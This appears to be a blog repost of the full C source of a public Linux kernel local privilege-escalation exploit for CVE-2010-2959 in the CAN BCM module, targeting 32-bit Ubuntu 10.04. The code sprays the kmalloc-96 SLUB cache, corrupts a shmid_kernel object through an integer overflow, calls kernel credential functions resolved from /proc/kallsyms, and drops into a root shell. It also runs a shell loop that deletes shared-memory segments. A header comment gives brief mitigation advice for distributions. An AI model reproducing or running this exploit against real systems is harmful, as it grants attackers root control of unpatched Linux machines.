2012. 4. 15. 02:56

/*  


 * i-CAN-haz-MODHARDEN.c  


 *  


 * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit  


 * Jon Oberheide <jon@oberheide.org>  


 * http://jon.oberheide.org  


 *   


 * Information:  


 *  


 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959  


 *  


 *   Ben Hawkes discovered an integer overflow in the Controller Area Network  


 *   (CAN) subsystem when setting up frame content and filtering certain   


 *   messages. An attacker could send specially crafted CAN traffic to crash   


 *   the system or gain root privileges.   


 *  


 * Usage:  


 *  


 *   $ gcc i-can-haz-modharden.c -o i-can-haz-modharden  


 *   $ ./i-can-haz-modharden  


 *   ...  


 *   [+] launching root shell!  


 *   # id  


 *   uid=0(root) gid=0(root)  


 *  


 * Notes:  


 *  


 *   The allocation pattern of the CAN BCM module gives us some desirable   


 *   properties for smashing the SLUB. We control the kmalloc with a 16-byte  


 *   granularity allowing us to place our allocation in the SLUB cache of our  


 *   choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for   


 *   old-times sake). The allocation can also be made in its own discrete   


 *   stage before the overwrite which allows us to be a bit more conservative   


 *   in ensuring the proper layout of our SLUB cache.  


 *  


 *   To exploit the vulnerability, we first create a BCM RX op with a crafted   


 *   nframes to trigger the integer overflow during the kmalloc. On the second  


 *   call to update the existing RX op, we bypass the E2BIG check since the   


 *   stored nframes in the op is large, yet has an insufficiently sized   


 *   allocation associated with it. We then have a controlled write into the   


 *   adjacent shmid_kernel object in the 96-byte SLUB cache.  


 *  


 *   However, while we control the length of the SLUB overwrite via a   


 *   memcpy_fromiovec operation, there exists a memset operation that directly   


 *   follows which zeros out last_frames, likely an adjacent allocation, with   


 *   the same malformed length, effectively nullifying our shmid smash. To   


 *   work around this, we take advantage of the fact that copy_from_user can  


 *   perform partial writes on x86 and trigger an EFAULT by setting up a   


 *   truncated memory mapping as the source for the memcpy_fromiovec operation,  


 *   allowing us to smash the necessary amount of memory and then pop out and   


 *   return early before the memset operation occurs.  


 *  


 *   We then perform a dry-run and detect the shmid smash via an EIDRM errno   


 *   from shmat() caused by an invalid ipc_perm sequence number. Once we're   


 *   sure we have a shmid_kernel under our control we re-smash it with the   


 *   malformed version and redirect control flow to our credential modifying  


 *   calls mapped in user space.  


 *  


 *   Distros: please use grsecurity's MODHARDEN or SELinux's module_request   


 *   to restrict unprivileged loading of uncommon packet families. Allowing  


 *   the loading of poorly-written PF modules just adds a non-trivial and   


 *   unnecessary attack surface to the kernel.   


 *  


 *   Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports   


 *   easily to other vulnerable kernels/distros. Careful, it could use some   


 *   post-exploitation stability love as well.  


 *  


 *   Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that   


 *   this exploit borrows code from.  


 */ 


   


#include <stdio.h>  


#include <stdlib.h>  


#include <stdint.h>  


#include <string.h>  


#include <unistd.h>  


#include <errno.h>  


#include <fcntl.h>  


#include <limits.h>  


#include <inttypes.h>  


#include <sys/types.h>  


#include <sys/socket.h>  


#include <sys/ipc.h>  


#include <sys/shm.h>  


#include <sys/mman.h>  


#include <sys/stat.h>  


   


#define SLUB "kmalloc-96"  


#define ALLOCATION 96  


#define FILLER 100  


   


#ifndef PF_CAN  


#define PF_CAN 29  


#endif  


   


#ifndef CAN_BCM  


#define CAN_BCM 2  


#endif  


   


struct sockaddr_can {  


    sa_family_t can_family;  


    int can_ifindex;  


    union {  


        struct { uint32_t rx_id, tx_id; } tp;  


    } can_addr;  


};  


   


struct can_frame {  


    uint32_t can_id;  


    uint8_t can_dlc;  


    uint8_t data[8] __attribute__((aligned(8)));  


};  


   


struct bcm_msg_head {  


    uint32_t opcode;  


    uint32_t flags;  


    uint32_t count;  


    struct timeval ival1, ival2;  


    uint32_t can_id;  


    uint32_t nframes;  


    struct can_frame frames[0];  


};  


   


#define RX_SETUP 5  


#define RX_DELETE 6  


#define CFSIZ sizeof(struct can_frame)  


#define MHSIZ sizeof(struct bcm_msg_head)  


#define IPCMNI 32768  


#define EIDRM 43  


#define HDRLEN_KMALLOC 8  


   


struct list_head {  


    struct list_head *next;  


    struct list_head *prev;  


};  


   


struct super_block {  


    struct list_head s_list;  


    unsigned int s_dev;  


    unsigned long s_blocksize;  


    unsigned char s_blocksize_bits;  


    unsigned char s_dirt;  


    uint64_t s_maxbytes;  


    void *s_type;  


    void *s_op;  


    void *dq_op;  


    void *s_qcop;  


    void *s_export_op;  


    unsigned long s_flags;  


} super_block;  


   


struct mutex {  


    unsigned int count;  


    unsigned int wait_lock;  


    struct list_head wait_list;  


    void *owner;  


};  


   


struct inode {  


    struct list_head i_hash;  


    struct list_head i_list;  


    struct list_head i_sb_list;  


    struct list_head i_dentry_list;  


    unsigned long i_ino;  


    unsigned int i_count;  


    unsigned int i_nlink;  


    unsigned int i_uid;  


    unsigned int i_gid;  


    unsigned int i_rdev;  


    uint64_t i_version;  


    uint64_t i_size;  


    unsigned int i_size_seqcount;  


    long i_atime_tv_sec;  


    long i_atime_tv_nsec;  


    long i_mtime_tv_sec;  


    long i_mtime_tv_nsec;  


    long i_ctime_tv_sec;  


    long i_ctime_tv_nsec;  


    uint64_t i_blocks;  


    unsigned int i_blkbits;  


    unsigned short i_bytes;  


    unsigned short i_mode;  


    unsigned int i_lock;  


    struct mutex i_mutex;  


    unsigned int i_alloc_sem_activity;  


    unsigned int i_alloc_sem_wait_lock;  


    struct list_head i_alloc_sem_wait_list;  


    void *i_op;  


    void *i_fop;  


    struct super_block *i_sb;  


    void *i_flock;  


    void *i_mapping;  


    char i_data[84];  


    void *i_dquot_1;  


    void *i_dquot_2;  


    struct list_head i_devices;  


    void *i_pipe_union;  


    unsigned int i_generation;  


    unsigned int i_fsnotify_mask;  


    void *i_fsnotify_mark_entries;  


    struct list_head inotify_watches;  


    struct mutex inotify_mutex;  


} inode;  


   


struct dentry {  


    unsigned int d_count;  


    unsigned int d_flags;  


    unsigned int d_lock;  


    int d_mounted;  


    void *d_inode;  


    struct list_head d_hash;  


    void *d_parent;  


} dentry;  


   


struct file_operations {  


    void *owner;  


    void *llseek;  


    void *read;  


    void *write;  


    void *aio_read;  


    void *aio_write;  


    void *readdir;  


    void *poll;  


    void *ioctl;  


    void *unlocked_ioctl;  


    void *compat_ioctl;  


    void *mmap;  


    void *open;  


    void *flush;  


    void *release;  


    void *fsync;  


    void *aio_fsync;  


    void *fasync;  


    void *lock;  


    void *sendpage;  


    void *get_unmapped_area;  


    void *check_flags;  


    void *flock;  


    void *splice_write;  


    void *splice_read;  


    void *setlease;  


} op;  


   


struct vfsmount {  


    struct list_head mnt_hash;  


    void *mnt_parent;  


    void *mnt_mountpoint;  


    void *mnt_root;  


    void *mnt_sb;  


    struct list_head mnt_mounts;  


    struct list_head mnt_child;  


    int mnt_flags;  


    const char *mnt_devname;  


    struct list_head mnt_list;  


    struct list_head mnt_expire;  


    struct list_head mnt_share;  


    struct list_head mnt_slave_list;  


    struct list_head mnt_slave;  


    struct vfsmount *mnt_master;  


    struct mnt_namespace *mnt_ns;  


    int mnt_id;  


    int mnt_group_id;  


    int mnt_count;  


} vfsmount;  


   


struct file {  


    struct list_head fu_list;  


    struct vfsmount *f_vfsmnt;  


    struct dentry *f_dentry;  


    void *f_op;  


    unsigned int f_lock;  


    unsigned long f_count;  


} file;  


   


struct kern_ipc_perm {  


    unsigned int lock;  


    int deleted;  


    int id;  


    unsigned int key;  


    unsigned int uid;  


    unsigned int gid;  


    unsigned int cuid;  


    unsigned int cgid;  


    unsigned int mode;  


    unsigned int seq;  


    void *security;  


};  


   


struct shmid_kernel {  


    struct kern_ipc_perm shm_perm;  


    struct file *shm_file;  


    unsigned long shm_nattch;  


    unsigned long shm_segsz;  


    time_t shm_atim;  


    time_t shm_dtim;  


    time_t shm_ctim;  


    unsigned int shm_cprid;  


    unsigned int shm_lprid;  


    void *mlock_user;  


} shmid_kernel;  


   


typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  


typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  


_commit_creds commit_creds;  


_prepare_kernel_cred prepare_kernel_cred;  


   


int __attribute__((regparm(3)))  


kernel_code(struct file *file, void *vma)  


{  


    commit_creds(prepare_kernel_cred(0));  


    return -1;  


}  


   


unsigned long 


get_symbol(char *name)  


{  


    FILE *f;  


    unsigned long addr;  


    char dummy;  


    char sname[512];  


    int ret = 0, oldstyle;  


   


    f = fopen("/proc/kallsyms", "r");  


    if (f == NULL) {  


        f = fopen("/proc/ksyms", "r");  


        if (f == NULL)  


            return 0;  


        oldstyle = 1;  


    }  


   


    while (ret != EOF) {  


        if (!oldstyle) {  


            ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);  


        } else {  


            ret = fscanf(f, "%p %s\n", (void **) &addr, sname);  


            if (ret == 2) {  


                char *p;  


                if (strstr(sname, "_O/") || strstr(sname, "_S.")) {  


                    continue;  


                }  


                p = strrchr(sname, '_');  


                if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {  


                    p = p - 4;  


                    while (p > (char *)sname && *(p - 1) == '_') {  


                        p--;  


                    }  


                    *p = '\0';  


                }  


            }  


        }  


        if (ret == 0) {  


            fscanf(f, "%s\n", sname);  


            continue;  


        }  


        if (!strcmp(name, sname)) {  


            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);  


            fclose(f);  


            return addr;  


        }  


    }  


    fclose(f);  


   


    return 0;  


}  


   


int 


check_slabinfo(char *cache, int *active_out, int *total_out)  


{  


    FILE *fp;  


    char name[64], slab[256];  


    int active, total, diff;  


   


    memset(slab, 0, sizeof(slab));  


    memset(name, 0, sizeof(name));  


   


    fp = fopen("/proc/slabinfo", "r");  


    if (!fp) {  


        printf("[-] sorry, /proc/slabinfo is not available!");  


        exit(1);  


    }  


   


    fgets(slab, sizeof(slab) - 1, fp);  


    while (1) {  


        fgets(slab, sizeof(slab) - 1, fp);  


        sscanf(slab, "%s %u %u", name, &active, &total);  


        diff = total - active;  


        if (strcmp(name, cache) == 0) {  


            break;  


        }  


    }  


    fclose(fp);  


   


    if (active_out) {  


        *active_out = active;  


    }  


    if (total_out) {  


        *total_out = total;  


    }  


    return diff;  


}  


   


void 


trigger(void)  


{  


    int *shmids;  


    int i, ret, sock, cnt, base, smashed;  


    int diff, active, total, active_new, total_new;  


    int len, sock_len, mmap_len;  


    struct sockaddr_can addr;  


    struct bcm_msg_head *msg;  


    void *efault;  


    char *buf;  


   


    printf("[+] creating PF_CAN socket...\n");  


   


    sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);  


    if (sock < 0) {  


        printf("[-] kernel lacks CAN packet family support\n");  


        exit(1);  


    }  


   


    printf("[+] connecting PF_CAN socket...\n");  


   


    memset(&addr, 0, sizeof(addr));  


    addr.can_family = PF_CAN;  


   


    ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));  


    if (sock < 0) {  


        printf("[-] could not connect CAN socket\n");  


        exit(1);  


    }  


   


    len = MHSIZ + (CFSIZ * (ALLOCATION / 16));  


    msg = malloc(len);  


    memset(msg, 0, len);  


    msg->can_id = 2959;  


    msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;  


   


    printf("[+] clearing out any active OPs via RX_DELETE...\n");  


       


    msg->opcode = RX_DELETE;  


    ret = send(sock, msg, len, 0);  


   


    printf("[+] removing any active user-owned shmids...\n");  


   


    system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");  


   


    printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");  


   


    diff = check_slabinfo(SLUB, &active, &total);  


   


    shmids = malloc(sizeof(int) * diff * 10);  


   


    cnt = diff * 10;  


    for (i = 0; i < cnt; ++i) {  


        diff = check_slabinfo(SLUB, &active, &total);  


        if (diff == 0) {  


            break;  


        }  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


    base = i;  


   


    if (diff != 0) {  


        printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");  


        exit(1);  


    }  


   


    printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");  


   


    i = base;  


    cnt = i + FILLER;  


    for (; i < cnt; ++i) {  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, len, 0);  


    if (ret < 0) {  


        printf("[-] kernel rejected malformed CAN header\n");  


        exit(1);  


    }  


   


    i = base + FILLER;  


    cnt = i + FILLER;  


    for (; i < cnt; ++i) {  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


   


    printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");  


   


    mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);  


    sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);  


    efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  


   


    printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);  


   


    printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");  


   


    msg = (struct bcm_msg_head *) efault;  


    memset(msg, 0, mmap_len);  


    msg->can_id = 2959;  


    msg->nframes = (ALLOCATION / 16) * 4;  


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, mmap_len, 0);  


    if (ret != -1 && errno != EFAULT) {  


        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");  


        exit(1);  


    }  


   


    printf("[+] seeking out the smashed shmid_kernel...\n");  


   


    i = base;  


    cnt = i + FILLER + FILLER;  


    for (; i < cnt; ++i) {  


        ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);  


        if (ret == -1 && errno == EIDRM) {  


            smashed = i;  


            break;  


        }  


    }  


    if (i == cnt) {  


        printf("[-] could not find smashed shmid, trying running the exploit again!\n");  


        exit(1);  


    }  


       


    printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);  


   


    printf("[+] re-smashing the shmid_kernel with exploit payload...\n");  


   


    shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;  


   


    buf = (char *) msg;  


    memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));   


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, mmap_len, 0);  


    if (ret != -1 && errno != EFAULT) {  


        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");  


        exit(1);  


    }  


       


    ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);  


    if (ret == -1 && errno != EIDRM) {  


        setresuid(0, 0, 0);  


        setresgid(0, 0, 0);  


   


        printf("[+] launching root shell!\n");  


   


        execl("/bin/bash", "/bin/bash", NULL);  


        exit(0);  


    }  


   


    printf("[-] exploit failed! retry?\n");  


}  


   


void 


setup(void)  


{  


    printf("[+] looking for symbols...\n");  


   


    commit_creds = (_commit_creds) get_symbol("commit_creds");  


    if (!commit_creds) {  


        printf("[-] symbol table not availabe, aborting!\n");  


    }  


   


    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");  


    if (!prepare_kernel_cred) {  


        printf("[-] symbol table not availabe, aborting!\n");  


    }  


   


    printf("[+] setting up exploit payload...\n");  


   


    super_block.s_flags = 0;  


   


    inode.i_size = 4096;  


    inode.i_sb = &super_block;  


    inode.inotify_watches.next = &inode.inotify_watches;  


    inode.inotify_watches.prev = &inode.inotify_watches;  


    inode.inotify_mutex.count = 1;  


   


    dentry.d_count = 4096;  


    dentry.d_flags = 4096;  


    dentry.d_parent = NULL;  


    dentry.d_inode = &inode;  


   


    op.mmap = &kernel_code;  


    op.get_unmapped_area = &kernel_code;  


   


    vfsmount.mnt_flags = 0;  


    vfsmount.mnt_count = 1;  


   


    file.fu_list.prev = &file.fu_list;  


    file.fu_list.next = &file.fu_list;  


    file.f_dentry = &dentry;  


    file.f_vfsmnt = &vfsmount;  


    file.f_op = &op;  


   


    shmid_kernel.shm_perm.key = IPC_PRIVATE;  


    shmid_kernel.shm_perm.uid = getuid();  


    shmid_kernel.shm_perm.gid = getgid();  


    shmid_kernel.shm_perm.cuid = getuid();  


    shmid_kernel.shm_perm.cgid = getgid();  


    shmid_kernel.shm_perm.mode = -1;  


    shmid_kernel.shm_file = &file;  


}  


   


int 


main(int argc, char **argv)  


{  


    setup();  


    trigger();  


    return 0;  



Posted by k1rha